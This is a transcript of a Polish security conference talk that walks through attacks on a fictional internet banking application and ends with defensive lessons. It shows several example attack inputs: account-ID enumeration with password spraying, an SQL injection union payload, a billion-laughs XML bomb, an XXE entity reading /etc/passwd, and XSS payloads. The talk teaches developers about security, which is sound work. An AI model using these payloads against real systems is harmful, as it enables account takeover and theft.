Jak włamałem się do banku
-
Upload
slawomir-jasek -
Category
Software
-
view
177 -
download
0
Transcript of Jak włamałem się do banku
JAK WŁAMAŁEM SIĘ DO BANKU
Czy jesteś pewien, że twoja aplikacja jest bezpieczna?
Sławomir Jasek
SecuRing
4Developers, Warszawa, 7.04.2014 r.
Sławomir Jasek
Konsultant bezpieczeństwa (~ 10 lat), setki projektów, głównie
różnego typu aplikacje
SecuRing (od 2003)
Testowanie i doradztwo dotyczące bezpieczeństwa aplikacji i systemów IT
Jeśli to możliwe w ramach„white-box” (przegląd konfiguracji, kodu,
konsultacje), a także już na etapie definiowania architektury
Wynikiem testu jest dokładny raport opisujący szczegółowo znalezione
podatności (oraz wykonane testy), wraz z rekomendacjami/sposobami
naprawy
Disclaimer ;-)
● Wszelkie podobieństwo do istniejących systemów i
podatności jest przypadkowe
● Próby ataku na aplikacje bez zgody jej właściciela
mogą prowadzić do poważnych konsekwencji!
http://freestock.ca/signs_symbols_g43-grunge_warning_sign__do_not_read_this_sign_p1723.html
Perspektywa intruza
Tradycyjne napady na placówki już jakoś nie wychodzą ;)
http://en.wikipedia.org/wiki/Olsen_Gang
Bankowość Internetowa!
7-cyfrowy identyfikator, hmm...
● 7 cyfr to 10 milionów możliwości. Trochę dużo...
● A, spróbujmy coś wpisać
7-cyfrowy identyfikator, hmm...
● 7 cyfr to 10 milionów możliwości. Trochę dużo...
● A, spróbujmy coś wpisać
7-cyfrowy identyfikator, hmm...
● 7 cyfr to 10 milionów możliwości. Trochę dużo...
● A, spróbujmy coś wpisać
7-cyfrowy identyfikator, hmm...
● 7 cyfr to 10 milionów możliwości. Trochę dużo...
● A, spróbujmy coś wpisać
7-cyfrowy identyfikator, hmm...
● 7 cyfr to 10 milionów możliwości. Trochę dużo...
● A, spróbujmy coś wpisać
7-cyfrowy identyfikator, hmm...
● 7 cyfr to 10 milionów możliwości. Trochę dużo...
● A, spróbujmy coś wpisać
Uwierzytelnienie
● Sprawdzenie wszystkich identyfikatorów na
przeciętnym łączu zajmie maksymalnie kilka dni.
● Mamy istniejące identyfikatory. I co dalej?
● Wszystko jedno do którego konta się włamiemy.
Wystarczy, że zgadniemy hasło do dowolnego.
● Dla każdego identyfikatora próbujemy najprostsze
dopuszczalne hasła
● Po 3 próbach konto się blokuje. Sprawdzamy 2
hasła, żeby nie narobić szumu.
Uwierzytelnienie - hasła
• Najpopularniejsze na świecie:
password, 123456, abc123 ...
• A tymczasem w Polsce:
d**a, k**a, polska, legia…
• Minimalne wymogi złożoności (8 znaków, 1 cyfra,
znak specjalny), i mamy kandydata:
d**ak**a1!
Autoryzacja transakcji
● OK, możemy się zalogować, zobaczyć ile klient
zarabia, na co wydaje...
● Ale nadal nie możemy ukraść pieniędzy :-(
● Bank wymaga autoryzacji kodem SMS, przesyłanym
na zaufany numer
● Hmm... gdyby tak się dało zmienić numer telefonu do
SMS na swój?
Zmiana numeru telefonu do autoryzacji
● Hmm... a gdyby tak zmienić nr telefonu do
kodów SMS na swój?
● Krok 1
Przelew z cudzego konta
● No dobra, tego klienta wyczyściliśmy. Ale jest
jeszcze wielu innych, gdzie nie zgadliśmy
hasła...
● Przelew. A gdyby tak z cudzego konta? ;-)
● Hmm... zobaczmy.
Jak to się stało? ● Wewnętrzny stan aplikacji może być nadpisany w inny
sposób niż spodziewał się programista. Framework
czasami działa nawet zbyt dobrze ;)
● Enterprise Java Beans okiem pentestera:
http://despicableme.wikia.com/wiki/Minions/Gallery
Automagia: Expression Language
Dotychczas:
<%=HTMLEncoder.encode(((Person)person.getAddress().getStreet())%>
Expression Language (OGNL):
<c:out value="person.address.street" />
Ale potęga warstwy abstrakcji może być
wykorzystana do ataku na aplikację.
Eskalujemy dalej
● Bankowość internetowa została napisana ze
szczególną dbałością o bezpieczeństwo
● Programiści znają problem SQL injection, wiedzą jak
należy poprawnie budować zapytania do bazy
● Kod źródłowy został poddany dokładnej analizie pod
tym kątem
Prepared statement / call
String sql = "select * from users where
firstname=? and lastname=?";
query = conn.prepareStatement(sql);
query.setString(1, "Jan");
query.setString(2, "Kowalski");
result = query.executeQuery();
Czy coś tu może być nie tak?
String sql = "{call
USERS.search(" + "?" + ", ?)}";
call = conn.prepareCall(sql);
call.setString(1, "Jan");
call.setString(2, "Kowalski");
call.execute();
Pod maską: procedura składowana
PROCEDURE search(
p_firstname IN T_STRING,
p_lastname IN T_STRING,
) IS
(...)
v_sql_select := ' SELECT distinct a.USER_ID';
v_sql_from := ' FROM APP_WEB.USERS a ';
v_sql_where := ' WHERE a.USER_ID is not null ';
IF p_firstname is not null THEN
v_sql_where := v_sql_where || ' and lower(trim(a.FIRSTNAME)) =
lower(trim(' || P_FIRSTNAME || ')) ';
END IF;
Pod maską: procedura składowana
PROCEDURE search(
p_firstname IN T_STRING,
p_lastname IN T_STRING,
) IS
(...)
v_sql_select := ' SELECT distinct a.USER_ID';
v_sql_from := ' FROM APP_WEB.USERS a ';
v_sql_where := ' WHERE a.USER_ID is not null ';
IF p_firstname is not null THEN
v_sql_where := v_sql_where || ' and lower(trim(a.FIRSTNAME)) =
lower(trim('|| 'adam')) union select version,'x' from v$instance-- || '))';
END IF;
Atak na parser XML
● Parametry przesyłane z przeglądarki klienta przy
składaniu wniosku do banku są w formie XML
data=%3C%3Fxml+version%3D%221.0%22%3F%3E%0A%3Cuser%3E%0A%C2%A0%C2%A0%C2%A0%C2%A0%3Cfirstname%3EJan%3C%2Ffirstname%3E%0A%C2%A0%C2%A0%C2%A0%C2%A0%3Clastname%3EKowalski%3C%2Flastname%3E%0A%3C%2Fuser%3E
● czyli
<?xml version="1.0"?> <user> <firstname>Jan</firstname> <lastname>Kowalski</lastname> </user>
Atak na parser XML
● Co zrobi parser jeśli dopiszemy nowy DOCTYPE?
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> ]> <lolz>&lol;</lolz> <lolz>lol</lolz>
Atak na parser XML
● Co zrobi parser jeśli dopiszemy nowy DOCTYPE?
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ELEMENT lolz (#PCDATA)>
]> <lolz>&lol1;</lolz> <lolz>lollollollollollollollollollol</lolz>
Atak na parser XML
● Co zrobi parser jeśli dopiszemy nowy DOCTYPE?
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> <user> <firstname>Jan</firstname> <lastname>Kowalski</lastname> </user>
http://en.wikipedia.org/wiki/Billion_laughs
Atak na parser XML - XXE
● A gdyby tak:
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
● Tylko w 2014 r. poległy już w ten sposób:
Google, Facebook, Ebay...
Cross Site Scripting
Nasz framework automagicznie koduje na wyjściu
wszystkie znaki specjalne do kontekstu HTML
<bean:write name="transferFormId" property="trn_recipient"/>
trn_recipient="<script>alert('xss')</script>
<input type="text" name="trn_recipient" value=""<script>alert('xss')</script>"
Cross Site Scripting
● Ale w przyrodzie występują również m.in.
<bean:write name="transferFormId" property="trn_recipient" filter="false"/>
<input value="${trnRecipient}"
● Lub wklejenie bezpośrednio w kontekst javascript:
<script> var split='<bean:write name="transferFormId" property="trn_recipient">'; splitRecipient(split); </script>
trn_recipient=';alert('xss');--
<script> var split='';alert('xss');--
Wnioski
● Myśl o bezpieczeństwie, patrz na aplikację z
pozycji intruza (modelowanie zagrożeń)
● Zasada ograniczonego zaufania do zewnętrznych
bibliotek, frameworków, warstw abstrakcji. RTFM,
łatki, konfiguracja...
● Nawet teoretycznie drobne błędy mogą przy
sprzyjających warunkach doprowadzić do
poważnych konsekwencji
● Bezpieczeństwo w SDLC – np. OpenSAMM
● Testy penetracyjne wykazują podatności, których
można nie zauważyć nawet przy przeglądzie kodu
https://www.flickr.com/photos/arenamontanus/2125942630/
Inne błędy autoryzacji
● Krok 1 – wprowadzenie przelewu
● from=29466256723999805678149498&to=92940458930436651352719727&title=test&amount=100¤cy=PLN&action=INITIALIZE
● Krok 2 – podpisanie
● code=1133245&action=SIGN
● Krok 3 – wysłanie
● action=SEND
Inne błędy autoryzacji
● Krok 1 – wprowadzenie przelewu
● from=29466256723999805678149498&to=92940458930436651352719727&title=test&amount=100¤cy=PLN&action=INITIALIZE
● Krok 2 – podpisanie
● code=1133245&action=SIGN
● Krok 3 – wysłanie
● action=SEND
Ukryta funkcjonalność
● Formularz wnioskowy we flash-u. Parametry
wywołania – flashvars:
Form_RunContent( "src", "static/swf/Form","width", "100%","height", "100%","align",
"middle", "quality", "high","bgcolor", "#FFFFFF","type", "application/x-
shockwave-flash", "pluginspage", "http://www.adobe.com/go/getflashplayer", "flashVars",
"formID=57&internalDialog=false&localeChain=pl_PL&"
● internalDialog=false? A jak ustawię na true?